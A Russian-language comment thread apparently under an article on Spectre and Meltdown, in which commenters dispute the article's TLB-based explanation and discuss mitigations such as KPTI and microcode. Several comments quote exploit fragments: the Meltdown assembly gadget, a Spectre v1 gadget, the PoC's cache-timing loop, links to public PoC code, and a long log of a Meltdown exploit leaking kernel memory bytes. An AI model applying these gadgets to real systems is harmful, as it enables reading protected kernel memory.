Comments 82
Угу. Сначала эти серенькие непубличные специалисты деанонимизировали кого-нибудь, а потом уж другие непубличные специалисты в пыточной устраняли сбой программы в голове юзера. Надо же, какой конвейер поломался из-за огласки!
Блок TLB не имеет программного (микропрограммного) управления, как обычный кеш. Из него невозможно удалить записьДа неужели ?
Остался вопрос — зачем буфер в 2 мегабайта, если 256 страниц по 4Кб занимают один мегабайт?
> Да неужели?
Вперед и с песней — выполнение этой инструкции из user программы запрещено.
В неисполнимой ветке ветвления читаем байт данных и используем его как смещение для 4к страницы, читаем начало страницы, на этом процесс чтения завершен.
Теперь извлекаем данные последовательным чтением первого (нулевого, в общем любого) и измеряем время доступа, на какой странице будет провал, то и есть значение.
Блок TLB не имеет программного (микропрограммного) управления, как обычный кеш. Из него невозможно удалить запись, либо принудительно внести/модифицировать какую-либо запись.Очень странное заявление. Зачем вы вообще это добавили в статью, если прямым текстом ниже говорите, что сбросить TLB таки можно. Более того, если бы это было нельзя сделать, то мы бы имели на руках другую серьезную проблему, на этот раз связанную с корректностью исполняемых программ.
Все патчи уязвимостей Spectre и Meltdown предложенные производителями ПО это и делают, перезагружая в обработчике исключения GP регистр CR3.Не просто перегружают, а записывают туда адреса других таблиц страниц. Более того, когда есть возможность TLB стараются сохранить по крайней мере частично (спасибо PCID). Просто сбросить TLB кеш не достаточно (читай бесполезно).
Первым делом нужно в программе создать буфер размером 2 мегабайта, причем в этот буфер нельзя писать/читать до проведения атаки и он должен располагаться на границе 4К блока. Этот размер принципиален, в буфере должны разместиться ровно 256 страниц по 4К (специфика пейджинговой адресации).Во-первых, размер 2Mb не принципиален (уж не говоря о том, что 256 * 4Kb = 1Mb). 256 страниц нужно только если вы хотите по одному байту сливать за раз, но это не единственно возможный вариант. Во-вторых, если вы не будете ничего писать или читать из этой памяти, то ОС может вообще не создавать отображения для нее, так что при первой проверке вы рискуете измерить Page Fault и ленивую аллокацию для всех страниц, а не просто TLB miss/hit, что будет менее надежно.
Чтобы объяснить почему TLB может быть более важным фактором чем кеш данных, достаточно было оставить комментарий к оригинальной статье указывающий на то, что запись в кеше данных экономит одно обращение к памяти, а запись в TLB 3-4 (на x86 в планах 5), значит и эффект гораздо заметнее. Ваша аггрессия не соответсвует ни объему информации, которую вы собрали в статью, ни точности.
Далее касательно относительного влияния TLB и кеша данных. Если вы не верите мне на слово, что это возможно, то вот вам статься другого человека: futuretech.blinkenlights.nl/misc/cpumemory.pdf. В разделе «3.3.2 Measurements of Cache Effects» измеряются эффекты различных кешей на скорость доступа к памяти (включая кеши данных и TLB). Конкретно к данному вопросу отношение имеет график 3.12.
Насчет вероятности — я трассировал загрузки TLB и число cache miss (опять на MIPS). Число промахов обращения к кэшу конечно много больше, но если поделить числа на размер кэша (1K строк) и на размер массива TLB (64 строки), то обновление конкретной строки кэша случается реже, чем элемента TLB, по крайней мере на Linux/Android.
Насчет «получить достаточно большой квант времени» — это зависит от конкретной установки. Если идет трафик по сети, то как-то неочевидно. С другой стороны этот трафик в основном в ядре обрабатываться будет.
Что касается PCID, то это очевидная оптимизация, но не везде и надо смотреть на общий случай если взвешивать др. варианты.
Я еще смотрел на возможность анализировать user код после exception и очищать строку кэша/TLB, но этот вариант, хотя и быстр по части потерь производительности, не пригоден, так как атака будет быстро реверснута — будет поиск очищеной строки кэша или TLB, увы.
al читается значение их ядра ОС, байт!
Читаю и сразу все становится понятно…
Я думаю автор сам не понимает о чём пишет.
xor eax, eax; eax обнуляется регистр для правильной адресации
Конструкция типа такой делается чтобы сбросить зависимость при частичной записи в регистр, а вовсе не для «правильной адресации» (есть ещё и не правильная?).
xor eax,eax
mov al, [адрес ядра ОС]
Нам пишет настоящий специалист с уникальными, доступными лишь единицам знаниями, прямо из подвалов секретных лабораторий Кей-Джи-Би, специалистам которых давно всё известно, дверь его кабинета уже трещит под ударами прикладов, а вы требуете от него расставлять знаки препинания?!
</sarcasm>
Если из юзерспейса нельзя сбросить TLB, то как гуглерам удалось прочитать полный дамп памяти? На каждый байт создавать массив на 2 мегабайта? Ну пусть даже побитовое чтение, всё равно 8 килобайт на каждый бит — это дофига.
И если дело именно в TLB, то почему работают примеры реализации meltdown, которые используют clflush и переиспользуют один и тот же массив, выделенный единожды?
github.com/gkaindl/meltdown-poc/blob/master/meltdown.c
github.com/paboldin/meltdown-exploit/blob/master/meltdown.c
Все патчи уязвимостей Spectre и Meltdown предложенные производителями ПО это и делают, перезагружая в обработчике исключения GP регистр CR3.
Чего-то я не понял. Во-первых, говорили, что не просто сбрасывается кеш, а полностью удаляется маппинг памяти ядра при выходе в юзерспейс (видимо, оставляя какие-то минимальные трамплины для сисколов и прерываний). Во-вторых, если бы всё ограничивалось обработчиком GP, то никакой потери производительности бы не было, т.к. это очень редкое и исключительное событие (не говоря уже о том, что spectre не вызывает исключения и подобным образом проблемы не решить). В-третьих, в коде PoC фигурировала инструкция clflush, что намекает о том, что авторы всё-таки эксплуатируют кешлайны, а не TLB (ну или может быть совместно и то и другое).
Код PoC использует задержку кэша.
Проблема в блоке TLB, который используется в пейджинговой адресации оперативной памяти. Он является ассоциативным буфером хранящим пары значений виртуальный-физический адрес используемой приложением в оперативной памяти.
Это не Кеш данных….
Проблема не в TLB. А в том что права на доступ к странице проверяются в случае Intel и ARM Cortex-A57 во время retire. При этом кеш-строки грузятся во время спекулятивного выполнения именно в кеш данных.
до проведения атаки и он должен располагаться на границе 4К блока. Этот размер принципиален, в буфере должны разместиться ровно 256 страниц по 4К (специфика пейджинговой адресации).
Никак нет. Вот тут умножение на 256. К TLB-miss это не имеет отношения.
if (untrusted_offset_from_user < arr1->length) {
unsigned char value = arr1->data[untrusted_offset_from_user];
unsigned long index2 =((value&1)*0x100)+0x200;
if (index2 < arr2->length) {
unsigned char value2 = arr2->data[index2];
}
}
developer.arm.com/support/security-update
Все патчи уязвимостей Spectre и Meltdown предложенные производителями ПО это и делают, перезагружая в обработчике исключения GP регистр CR3.
Вы даже не разобрались что делают эти патчи. Они убирают маппинг памяти ядра из пользовательского процесса.
Это уже дело техники, «прозвоним» блок TLB. Для этого нужно по одному разу прочитать все его страницы по 4К, их ровно 256
А ничего что TLB-entries может быть любое количество? Например у Atom-а их всего 16. Что вы там «прозвоните»?
Не ищите этого названия в Интернете, метод был известен в очень узких кругах совершенно не публичных специалистов.
Приобщитесь к тайным знаниям. Никому не давайте ссылку! Это секрет!!!
en.wikipedia.org/wiki/Side-channel_attack
Cache attack — attacks based on attacker's ability to monitor cache accesses made by the victim in a shared physical system as in virtualized environment or a type of cloud service.
Timing attack — attacks based on measuring how much time various computations (such as, say, comparing an attacker's given password with the victim's unknown one) take to perform.
В общем статья из серии «вы все ****, а я — д'Артаньян»
Как я понял Meltdown, это частный случай Spectre
Это 3 разных бага, которые открываются через «одни ворота», т.е. через спекулятивное выполнение.
Variant 1: bounds check bypass (CVE-2017-5753)
Достаём данные через подходящий системный вызов где есть два зависимых чтения сразу после проверки диапазона (см. мой комментарий выше)
Variant 2: branch target injection (CVE-2017-5715)
Заставляем другую программу исполнять код путём тренировки предсказателя ветвлений
Variant 3: rogue data cache load (CVE-2017-5754)
Загрузка с нарушением cross-domain границ, т.е. с нарушением привилегий.
Тут происходит чтение памяти ядра напрямую из пользовательского процесса.
Этот баг специфичен для Intel, Apple и некоторых процессоров ARM.
Извините, но в статье написана примерно неправда, а гонор совершенно не оправдан.
В этом несложно убедиться https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf
--
Проблема не в TLB, а в спекулятивном выполнении с неявным кешированием.
На схеме TLB нарисован не совсем адекватно, точнее очень упрощенно-условно.
TLB также управляет кешированием (noncached, write combine) и конечно работает как при чтении, так и при записи. Поэтому корректней было-бы обозначить его "прокладкой-слоем" вокруг всей подсистемы кеширования.
Тем не менее, промах в TLB дороже промаха в кеше. Проще говоря, TLB-промахи легче заметить и они мешают увидеть кеш-промахи. Что оказывает соответствующее влияние на реализацию атак. Поэтому не 1 мегабайт, а 2.
CR3 перезагружается не для сброса TLB, а для KPTI.
И не только в обработчике исключения, а при каждом переключении user-mode/kernel-mode.
И не против Spectre, а только против Meltdown.
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5aa90a84589282b87666f92b6c3c917c8080a9bf
--
В продолжение темы:
Есть unstable microcode от Intel, можно пробовать лечиться и/или баловаться.
На всякий обращу внимание:
1) Это НЕ официальный и НЕ финальный microcode, выпущенный в конце ноября и начале декабря (Intel в курсе проблем с начала лета).
2) LFENCE в Changelog упоминается в контексте "Spectre variant #2". Тогда как в публикации Intel (по ссылке выше) в контексте "Bounds Check Bypass Mitigation", т.е. "Spectre variant #1".
Отсюда напрашивается предположения:
- либо в Changelog очепятка (2 вместо 1) и на разных моделях было отличие в поведении LFENCE, которое исправлено в этом микрокоде;
- либо поведение LFENCE всё-таки имеет какой-то эффект на "Spectre variant #2", но в публикации Intel это упустили в спешке.
Changelog:
2018-01-04 — Henrique de Moraes Holschuh hmh@debian.org
intel-microcode (3.20171215.1) unstable; urgency=high
- Add supplementary-ucode-CVE-2017-5715.d/: (closes: #886367)
New upstream microcodes to partially address CVE-2017-5715 - Updated Microcodes:
sig 0x000306c3, pf_mask 0x32, 2017-11-20, rev 0x0023, size 23552
sig 0x000306d4, pf_mask 0xc0, 2017-11-17, rev 0x0028, size 18432
sig 0x000306f2, pf_mask 0x6f, 2017-11-17, rev 0x003b, size 33792
sig 0x00040651, pf_mask 0x72, 2017-11-20, rev 0x0021, size 22528
sig 0x000406e3, pf_mask 0xc0, 2017-11-16, rev 0x00c2, size 99328
sig 0x000406f1, pf_mask 0xef, 2017-11-18, rev 0xb000025, size 27648
sig 0x00050654, pf_mask 0xb7, 2017-11-21, rev 0x200003a, size 27648
sig 0x000506c9, pf_mask 0x03, 2017-11-22, rev 0x002e, size 16384
sig 0x000806e9, pf_mask 0xc0, 2017-12-03, rev 0x007c, size 98304
sig 0x000906e9, pf_mask 0x2a, 2017-12-03, rev 0x007c, size 98304 - Implements IBRS and IBPB support via new MSR (Spectre variant 2
mitigation, indirect branches). Support is exposed through cpuid(7).EDX. - LFENCE terminates all previous instructions (Spectre variant 2
mitigation, conditional branches).
https://debian.pkgs.org/sid/debian-nonfree-amd64/intel-microcode_3.20171215.1_amd64.deb.html
gizmodo.com/intel-hit-with-three-class-action-lawsuits-related-to-s-1821785936
И не является ли этот факт (если он соответствует действительности) хорошим основанием для подачи исков к последним?
Вопрос серьезный.
Ведь полно, просто хоть лопатой греби, старых ЭВМ, втч управляющих, процессоры для которых никто не будет перевыпускать. Заменить можно только с заменой самой аппаратуры. Денег потеряно будет в ближайшее время — просто моря.
@FPiednoel (бывший интеловский специалист по анализу производительности):
The entire computer science community was unaware of those side effects, in all honest science.
Those blaming have very little understanding about how science work,it is a very regrettable happening,
but as every science, there are discoveries that open the eyes of the scientists.
; rcx = kernel address
; rbx = probe array
retry:
mov al, byte [rcx]
shl rax, 0xc
jz retry
mov rbx, qword [rbx + rax]
Я понимаю, но не понимаю, откуда взядась уязвимость.В первой строке мы читаем защищенную область памяти. Возникает исключение. Если память оказалась не в кэше, сколько надо времени, что бы действительно получить данные? Разве этого не достаточно для обработки исключения?
Даже если исключение обрабатывается на этапе retire, разве команда mov не должна пройти весь конвеер(в том числе и retire) перед тем как начнет выполнятся команда shl? Ведь shl использует результат выполнения команды mov — они просто не могут выполнятся параллельно. Тоже самое и с последней командой mov — да, она может выполнятся спекулятивно вместе с командой перехода, но ведь перед этим должна отработать команда shl что бы использовать её результат. Неужели отработки двух команд недостаточно для обработки исключения?
Или передача результата от mov к shl, а потом опять к mov происходит внутри еще до того как все команды попадут на retire и выход?
И тогда, уже позже (и даже из другого потока), мы можем спокойно измерить скорость чтения всех страниц нашего буфера — страница, которая прочитается быстрее и будет соответствовать прочитанному байту.
Каждому значению байта соответствует своя страница. Теоретически можно было бы и меньше буфер сделать — по одной строке кэша на каждое значение, но скорость доступа к кэшу очень непостоянна — трудно уловить разницу между «горячим» (находящимся к кэше) и «холодным» значением. А, вот, из-за кэша TLB (в частности) поймать разницу между страницей, к которой обращаются впервые и которой уже обращались гораздо легче.
Если к странице уже обращались, то TLB преобразует адрес мгновенно. А если если нет, то произойдёт преобразование с чтением иерархии таблиц и вычислением адреса. Да, ещё и обычный кэш данных всё это время будет стоять и ждать результата. Если правильно код написать, так и вообще, большая часть конвейера остановится на всё это время. В результате разница по времени для чтения новой и известной страниц будет отличаться в десятки раз (можно и до сотни, наверное, накрутить если завязать на ошибки предсказания ветвлений и заставить процессор выполнять «штрафные» такты и сброс ковейера) — легко засечь таймерами и счётчиками производительности процессора процессора.
А у AMD ошибка доступа (даже спекулятивная) прерывает исполнение команд на конвейере. Поэтому дальше «mov al, byte [rcx]» выполнение не пойдёт (ну, может быть, выполнится ещё «shl rax, 0xc» за счёт всяких побочных эффектов, но это ничего не даёт).
«Variant Three Rogue Data Cache Load Zero AMD vulnerability due to AMD architecture differences.»
Вариант 3 — meltdown. Остальное — догадка, чем отличается AMD.
Ещё интересно, что архитектура AMD, похоже, позволяет лучше патчить подобные каки микрокодом (в силу больше «прозрачности» и предсказуемости алгоритмов оптимизации — моё ИМХО).
На «старые» ядра есть очень подробные описания. Под новые что-то может быть под NDA, я довольно давно за этим не слежу и интересуюсь по столько по скольку.
Проверять лично по документации AMD мне не захотелось (зачем?), достаточно того, что это уже не раз было проверено экспериментально и показало, что при возникновении исключений у AMD продолжения спекулятивного исполнения команд и обращения к памяти не происходит (можно даже прямо вот этим же эксплоитом проверить).
Вы считаете, что AMD врёт?
Но то что какой-то конкретный код не работает на AMD, не объясняет почему он не работает и не может быть доказательством. Причина может быть в том, что они сбрасывают конвеер, а может и быть и в чем-то другом, а может оказаться и так, что на самом деле у них там такая же или похожая проблема, просто ловить ее нужно чуть по-другому.
И тут появляетесь вы с вполне конкретными деталями поведения процессоров AMD, только вот когда вам начинауют вопросы задавать начинаете «я где-то слышал», «другие уже проверяли зачем я буду», «ядро писатели», «цитаты от AMD», при этом без единой ссылки (ладно вы не проверяли, но те кому нужно могут обратиться к оригинальному источнику информации, если бы ссылки присутсвовали).
Наконец, мой оригинальный вопрос касался конкретного поведения AMD, которое вы выдаете за факт, а меня вы читать отправили документацию к Intel. Чтобы я там нашел что? Поведение процессоров AMD? Очень сомнительно ваши аргументы выглядят.
Вы уж извините, год назад могли рассказать, а теперь это вопрос сильно крут с точки зрения денег.
Я могу предложить несколько вариантов, почему это у AMD не срабатывает, но в текущей ситуации просто придется принять к сведению — «не работает».
does not allow memory references, including speculative references, that
access higher privileged data when running in a lesser privileged mode
when that access would result in a page fault."
Либо AMD врёт, либо AMD проверяет права доступа ring0/ring3 при спекулятивном чтении. Что характерно, это не означает, что не возможно организовать атаку, читающую области памяти с равными привилегиями (что, к счастью, намного менее страшно для нынешних ОС, т.к. адресные пространства данных процессов не пересекаются).
Implicit caching occurs when a memory element is made potentially cacheable, although the element may never have been accessed in the normal von Neumann sequence. Implicit caching occurs on the P6 and more recent processor families due to aggressive prefetching, branch prediction, and TLB miss handling. Implicit caching is an extension of the behavior of existing Intel386, Intel486, and Pentium processor systems, since software running on these processor families also has not been able to deterministically predict the behavior of instruction prefetch.
У AMD такого сурового текста в мануалах нет. Тут трудно предъявить то, чего нет. Так что или AMD врёт, или AMD не знает, как работают её процессоры, или они действительно не подвержены уязвимости. Возможно я найду писание того, в чём там принципиальная архитектурная разница (я забыл термин, если вспомню сейчас, то напишу).
У нас же тут только пять инструкций. Потому и уязвимы вообще все интелы, начиная со времён царя Гороха.
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
Скорее всего, они непосредственно перед выполнением вот этого всего специально читают первую страницу буфера.
Например, чтобы«погреть» все предыдущие (требуемым) уровни кэша TLB. Таблицы-то каскадные, плюс, там чёртова куча уровеней виртуализации может быть ещё наложена. И первое обращение к буферу получится ложно-положительным. Нам же нужно измерять только самый «последний» уровень.
А ещё, может быть, чтобы ОС физически выделила память.
А ещё процессор (с подачи ОС) может выполнить упреждающий «прогрев» кэша TLB (там и такое есть, но не уверен, в каком случае).
Это уже совсем ОС- и процессоро-зависимо.
Поэтому прогревают всё, кроме самих страниц. Но в результате нулевая страница «испорчена», и нулевое значение приходится отдельно обрабатывать.
Проверка на ноль самая «быстрая».
Поэтому в случае нулевого значения они вообще не обращаются к буферу, т.к. это бесполезно. В результате нулевому байту будет соответствовать ситуация когда «горячих» страниц в буфере вообще нет (нулевая страница не проверяется никогда).
Я сейчас точно не палю уязвимость раньше времени?
P.S. Ищу удалённую работу.
Интересно тут другое, они утверждают, что в случае исключения, процессор зануляет регистры, в которые читают, чтобы значения не были доступны в крэшдампе. Вот здесь вся соль: "If the zeroing out of the register is faster than the execution of the subsequent instruction, the attacker may read a false value in the third step.". «Если обнуление быстрее», то есть может быть быстрее, а может быть и не быстрее. При этом две эти команды зависят друг от друга. Может быть там race condition совсем в другом месте, и не там, где кажется?
Исходный код Meltdown:
pastebin.com/juzJ0Y1E
Лог:
usr@lnx:~/meltdown-exploit-master$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.9.0-5-amd64 root=UUID=acbffb90-bf4d-46d1-ad1f-ecfde3523f8b ro quiet nopti
usr@lnx:~/meltdown-exploit-master$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
TARGET_SIZE = 256
VARIANTS_READ = 256
cached = 47, uncached = 194, threshold 95
addr ffffffff8c400060 hist[00] = 9
addr ffffffff8c400060 hist[0b] = 3
addr ffffffff8c400060 hist[1b] = 3
addr ffffffff8c400060 hist[25] = 1884
addr ffffffff8c400060 hist[26] = 1839
addr ffffffff8c400060 hist[2b] = 1
addr ffffffff8c400060 hist[4b] = 1
addr ffffffff8c400060 hist[bb] = 4
addr ffffffff8c400060 hist[e4] = 1
addr ffffffff8c400060 hist[eb] = 1
addr ffffffff8c400060 hist[fb] = 39
read ffffffff8c400060 = 25 %
addr ffffffff8c400061 hist[00] = 13
addr ffffffff8c400061 hist[01] = 2
addr ffffffff8c400061 hist[05] = 3
addr ffffffff8c400061 hist[1b] = 1
addr ffffffff8c400061 hist[2b] = 1
addr ffffffff8c400061 hist[73] = 1857
addr ffffffff8c400061 hist[74] = 1801
addr ffffffff8c400061 hist[8b] = 3
addr ffffffff8c400061 hist[ad] = 1
addr ffffffff8c400061 hist[bb] = 3
addr ffffffff8c400061 hist[db] = 3
addr ffffffff8c400061 hist[eb] = 2
addr ffffffff8c400061 hist[fb] = 51
read ffffffff8c400061 = 73 s
addr ffffffff8c400062 hist[00] = 11
addr ffffffff8c400062 hist[01] = 4
addr ffffffff8c400062 hist[03] = 1
addr ffffffff8c400062 hist[05] = 1
addr ffffffff8c400062 hist[0b] = 1
addr ffffffff8c400062 hist[1b] = 1
addr ffffffff8c400062 hist[20] = 1798
addr ffffffff8c400062 hist[24] = 1769
addr ffffffff8c400062 hist[2b] = 2
addr ffffffff8c400062 hist[3b] = 2
addr ffffffff8c400062 hist[7b] = 1
addr ffffffff8c400062 hist[8b] = 1
addr ffffffff8c400062 hist[9b] = 1
addr ffffffff8c400062 hist[bb] = 1
addr ffffffff8c400062 hist[fb] = 42
read ffffffff8c400062 = 20
addr ffffffff8c400063 hist[00] = 10
addr ffffffff8c400063 hist[01] = 1
addr ffffffff8c400063 hist[02] = 1
addr ffffffff8c400063 hist[0b] = 2
addr ffffffff8c400063 hist[1b] = 2
addr ffffffff8c400063 hist[70] = 15
addr ffffffff8c400063 hist[71] = 15
addr ffffffff8c400063 hist[76] = 1636
addr ffffffff8c400063 hist[77] = 1579
addr ffffffff8c400063 hist[78] = 1578
addr ffffffff8c400063 hist[7b] = 1
addr ffffffff8c400063 hist[8b] = 1
addr ffffffff8c400063 hist[9b] = 1
addr ffffffff8c400063 hist[ab] = 1
addr ffffffff8c400063 hist[bb] = 3
addr ffffffff8c400063 hist[db] = 2
addr ffffffff8c400063 hist[fb] = 47
read ffffffff8c400063 = 76 v
addr ffffffff8c400064 hist[00] = 32
addr ffffffff8c400064 hist[01] = 4
addr ffffffff8c400064 hist[04] = 1
addr ffffffff8c400064 hist[07] = 1
addr ffffffff8c400064 hist[1b] = 3
addr ffffffff8c400064 hist[2b] = 4
addr ffffffff8c400064 hist[4b] = 1
addr ffffffff8c400064 hist[65] = 1300
addr ffffffff8c400064 hist[67] = 1228
addr ffffffff8c400064 hist[6b] = 2
addr ffffffff8c400064 hist[7b] = 1
addr ffffffff8c400064 hist[8b] = 2
addr ffffffff8c400064 hist[ab] = 3
addr ffffffff8c400064 hist[bb] = 2
addr ffffffff8c400064 hist[eb] = 1
addr ffffffff8c400064 hist[fb] = 58
read ffffffff8c400064 = 65 e
addr ffffffff8c400065 hist[00] = 8
addr ffffffff8c400065 hist[01] = 2
addr ffffffff8c400065 hist[02] = 2
addr ffffffff8c400065 hist[03] = 16
addr ffffffff8c400065 hist[04] = 1
addr ffffffff8c400065 hist[3b] = 2
addr ffffffff8c400065 hist[47] = 1
addr ffffffff8c400065 hist[4b] = 1
addr ffffffff8c400065 hist[72] = 1706
addr ffffffff8c400065 hist[7b] = 3
addr ffffffff8c400065 hist[ab] = 1
addr ffffffff8c400065 hist[bb] = 1
addr ffffffff8c400065 hist[fb] = 52
read ffffffff8c400065 = 72 r
addr ffffffff8c400066 hist[00] = 9
addr ffffffff8c400066 hist[01] = 2
addr ffffffff8c400066 hist[02] = 1
addr ffffffff8c400066 hist[0b] = 1
addr ffffffff8c400066 hist[73] = 1876
addr ffffffff8c400066 hist[74] = 1852
addr ffffffff8c400066 hist[7b] = 1
addr ffffffff8c400066 hist[bb] = 1
addr ffffffff8c400066 hist[eb] = 1
addr ffffffff8c400066 hist[fb] = 39
read ffffffff8c400066 = 73 s
addr ffffffff8c400067 hist[00] = 6
addr ffffffff8c400067 hist[05] = 1
addr ffffffff8c400067 hist[3b] = 1
addr ffffffff8c400067 hist[69] = 1319
addr ffffffff8c400067 hist[bb] = 1
addr ffffffff8c400067 hist[d9] = 1
addr ffffffff8c400067 hist[db] = 1
addr ffffffff8c400067 hist[fb] = 60
read ffffffff8c400067 = 69 i
addr ffffffff8c400068 hist[00] = 1
addr ffffffff8c400068 hist[01] = 1
addr ffffffff8c400068 hist[03] = 5
addr ffffffff8c400068 hist[04] = 1
addr ffffffff8c400068 hist[05] = 1
addr ffffffff8c400068 hist[6f] = 1373
addr ffffffff8c400068 hist[72] = 1352
addr ffffffff8c400068 hist[7b] = 1
addr ffffffff8c400068 hist[fb] = 46
read ffffffff8c400068 = 6f o
addr ffffffff8c400069 hist[00] = 5
addr ffffffff8c400069 hist[01] = 1
addr ffffffff8c400069 hist[03] = 3
addr ffffffff8c400069 hist[6b] = 1
addr ffffffff8c400069 hist[6e] = 1007
addr ffffffff8c400069 hist[72] = 991
addr ffffffff8c400069 hist[8b] = 2
addr ffffffff8c400069 hist[9b] = 1
addr ffffffff8c400069 hist[bb] = 1
addr ffffffff8c400069 hist[eb] = 1
addr ffffffff8c400069 hist[fb] = 44
read ffffffff8c400069 = 6e n
addr ffffffff8c40006a hist[00] = 3
addr ffffffff8c40006a hist[01] = 3
addr ffffffff8c40006a hist[1b] = 1
addr ffffffff8c40006a hist[20] = 1896
addr ffffffff8c40006a hist[24] = 1880
addr ffffffff8c40006a hist[2b] = 1
addr ffffffff8c40006a hist[4b] = 1
addr ffffffff8c40006a hist[8b] = 1
addr ffffffff8c40006a hist[ab] = 1
addr ffffffff8c40006a hist[bb] = 1
addr ffffffff8c40006a hist[eb] = 1
addr ffffffff8c40006a hist[fb] = 47
read ffffffff8c40006a = 20
addr ffffffff8c40006b hist[00] = 9
addr ffffffff8c40006b hist[1b] = 6
addr ffffffff8c40006b hist[25] = 1629
addr ffffffff8c40006b hist[26] = 1573
addr ffffffff8c40006b hist[2b] = 1
addr ffffffff8c40006b hist[39] = 1
addr ffffffff8c40006b hist[3b] = 1
addr ffffffff8c40006b hist[4b] = 1
addr ffffffff8c40006b hist[6b] = 1
addr ffffffff8c40006b hist[7b] = 3
addr ffffffff8c40006b hist[ab] = 3
addr ffffffff8c40006b hist[bb] = 2
addr ffffffff8c40006b hist[db] = 4
addr ffffffff8c40006b hist[fb] = 65
read ffffffff8c40006b = 25 %
addr ffffffff8c40006c hist[00] = 6
addr ffffffff8c40006c hist[01] = 3
addr ffffffff8c40006c hist[05] = 1
addr ffffffff8c40006c hist[1b] = 1
addr ffffffff8c40006c hist[3b] = 1
addr ffffffff8c40006c hist[4b] = 2
addr ffffffff8c40006c hist[6b] = 4
addr ffffffff8c40006c hist[73] = 1892
addr ffffffff8c40006c hist[74] = 1838
addr ffffffff8c40006c hist[7b] = 1
addr ffffffff8c40006c hist[8b] = 3
addr ffffffff8c40006c hist[ab] = 2
addr ffffffff8c40006c hist[db] = 2
addr ffffffff8c40006c hist[fb] = 59
read ffffffff8c40006c = 73 s
addr ffffffff8c40006d hist[00] = 6
addr ffffffff8c40006d hist[01] = 2
addr ffffffff8c40006d hist[1b] = 1
addr ffffffff8c40006d hist[20] = 1799
addr ffffffff8c40006d hist[24] = 1784
addr ffffffff8c40006d hist[4b] = 1
addr ffffffff8c40006d hist[db] = 1
addr ffffffff8c40006d hist[fb] = 42
read ffffffff8c40006d = 20
addr ffffffff8c40006e hist[00] = 15
addr ffffffff8c40006e hist[01] = 1
addr ffffffff8c40006e hist[02] = 2
addr ffffffff8c40006e hist[03] = 2
addr ffffffff8c40006e hist[05] = 2
addr ffffffff8c40006e hist[1b] = 1
addr ffffffff8c40006e hist[28] = 1062
addr ffffffff8c40006e hist[29] = 1023
addr ffffffff8c40006e hist[3b] = 1
addr ffffffff8c40006e hist[4b] = 2
addr ffffffff8c40006e hist[5c] = 1
addr ffffffff8c40006e hist[6b] = 1
addr ffffffff8c40006e hist[8b] = 1
addr ffffffff8c40006e hist[9b] = 3
addr ffffffff8c40006e hist[ab] = 1
addr ffffffff8c40006e hist[db] = 1
addr ffffffff8c40006e hist[eb] = 1
addr ffffffff8c40006e hist[fb] = 62
read ffffffff8c40006e = 28 (
addr ffffffff8c40006f hist[00] = 1
addr ffffffff8c40006f hist[01] = 2
addr ffffffff8c40006f hist[02] = 2
addr ffffffff8c40006f hist[03] = 2
addr ffffffff8c40006f hist[06] = 1
addr ffffffff8c40006f hist[0b] = 1
addr ffffffff8c40006f hist[2b] = 2
addr ffffffff8c40006f hist[3b] = 1
addr ffffffff8c40006f hist[64] = 1630
addr ffffffff8c40006f hist[67] = 1621
addr ffffffff8c40006f hist[ab] = 4
addr ffffffff8c40006f hist[fb] = 53
read ffffffff8c40006f = 64 d
VULNERABLE
VULNERABLE ON
4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) unknown
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 42
model name : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
stepping : 7
microcode : 0x17
cpu MHz : 2399.951
cache size : 3072 KB
physical id : 0
Spectre и Meltdown